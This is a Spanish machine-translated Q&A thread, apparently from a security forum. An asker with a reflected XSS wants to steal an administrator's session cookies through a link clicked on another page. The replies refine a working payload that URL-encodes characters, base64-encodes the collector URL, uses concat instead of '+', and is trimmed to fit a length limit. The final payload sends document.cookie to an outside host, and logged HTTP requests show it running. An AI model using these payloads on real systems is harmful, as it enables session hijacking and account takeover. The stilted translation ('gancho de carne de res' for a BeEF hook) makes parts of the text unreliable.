matices de carga útil XSS

3

Estoy comprobando esta aplicación & Han confirmado un xss reflejado. Ahora, estoy tratando de crear una carga útil que funcione, en lugar de simplemente mostrar un cuadro de alerta.

La url creada es la siguiente:

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php?y="+document.cookie;</script>

Ciertos caracteres deben estar codificados, por lo que la carga útil es:

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%3fy="%2bdocument.cookie%3b</script>

Al abrir este url, se ejecuta directamente el js sin ningún problema.

Sin embargo, con esta aplicación, un administrador debe hacer clic en este enlace a través de otra página.

El problema es que cuando se hace clic o se abre la URL diseñada, la carga útil se elimina hasta http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php"

Mirar la fuente de la página muestra lo siguiente:

<form action=/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php method=post name=search>

He intentado con otras cargas útiles, algunas más largas & incluso los acortadores de URL, pero no hace ninguna diferencia.

Parece que no entiendo por qué se ejecuta la misma url creada cuando se abre directamente, pero se elimina la carga cuando se pasa a través de una página diferente.

¿Cómo puedo evitar esta restricción para capturar cookies y / o inyectar gancho de carne de res, preferiblemente con una carga útil corta & sin redireccionamiento.

Gracias.

ACTUALIZACIÓN Basado en el comentario de @xavier59, codifiqué % a %25 , por lo que la solicitud es: http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>

La carga útil js se ejecuta según lo previsto (redirecciona al servidor web del atacante), pero ahora las cookies no se capturan. Aquí está la solicitud que recibo una vez que se ejecuta la carga útil:

GET /z.php%3fy= HTTP/1.1

+document.cookie aún se está eliminando.

ACTUALIZACIÓN2 Solicitud HTTP & respuestas cuando se hace clic en la url hecha a mano:

Crafted URL:
http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>

GET:http://url
Host:myapp.local
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1


Date:Fri, 02 Feb 2018 22:20:35 GMT
Server:Apache
Location:https://url
Content-Length:337
Keep-Alive:timeout=15, max=100
Connection:Keep-Alive
Content-Type:text/html; charset=iso-8859-1


GET:http://192.168.1.3/z.php?y=
Host:192.168.1.3
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1


Server:SimpleHTTP/0.6 Python/2.7.6
Date:Fri, 02 Feb 2018 22:31:50 GMT
Content-Type:text/html
Connection:close
    
pregunta Sunshine 02.02.2018 - 03:09
fuente

2 respuestas

2

El sitio web está reflejando la ubicación sin la cadena de consulta. Cualquier cosa detrás de un ? en un URI se llama la cadena de consulta.

%3F es la codificación URI del carácter ? . Es por eso que se está eliminando todo lo que hay detrás, porque se reconoce como parte de la cadena de consulta y el sitio web no quiere reflejarlo.

Para lograr una carga útil de trabajo, necesita un porcentaje de codificación del % . La codificación porcentual de % es %25 .

La carga útil debería verse como

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>

Editar:

Inicialmente pensé que %253f se reflejaría como ? pero como no lo es, es posible que tengamos que codificar la url de manera diferente.

Primero, abre una consola y codifícala como base64:

btoa("http://192.168.1.3/z.php?y=")
aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9

Luego, evite usar + ( %2b ) en su carga útil, ya que también tiene un significado especial en URI utilizando el método concat.

atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)

La carga útil final podría ser algo así como:

http://192.168.1.2/vulnpage.php>"<script>document.location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie);</script>

Edición 2:

Así que estamos restringidos en tamaño. Necesitamos hacer que la carga útil sea 10 caracteres más corta.

; no es obligatorio (práctica de codificación deficiente). (Quedan 9)

document.location puede convertirse simplemente en location en ciertos casos (también es una mala práctica de codificación). Prepárate ... 0 restantes.

¿Qué pasa con

http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>
    
respondido por el Xavier59 02.02.2018 - 08:44
fuente
-1

http://192.168.1.3 es su servidor web local en el que está robando cookies.

Intenta hacer esto: document.location="http://192.168.1.3/"+document.cookie

Y si la carga útil se ejecuta y aún no puedes capturar las cookies, asegúrate de que no haya un solo indicador HTTP en el encabezado de la cookie.

    
respondido por el Utkarsh Agrawal 02.02.2018 - 18:02
fuente

Lea otras preguntas en las etiquetas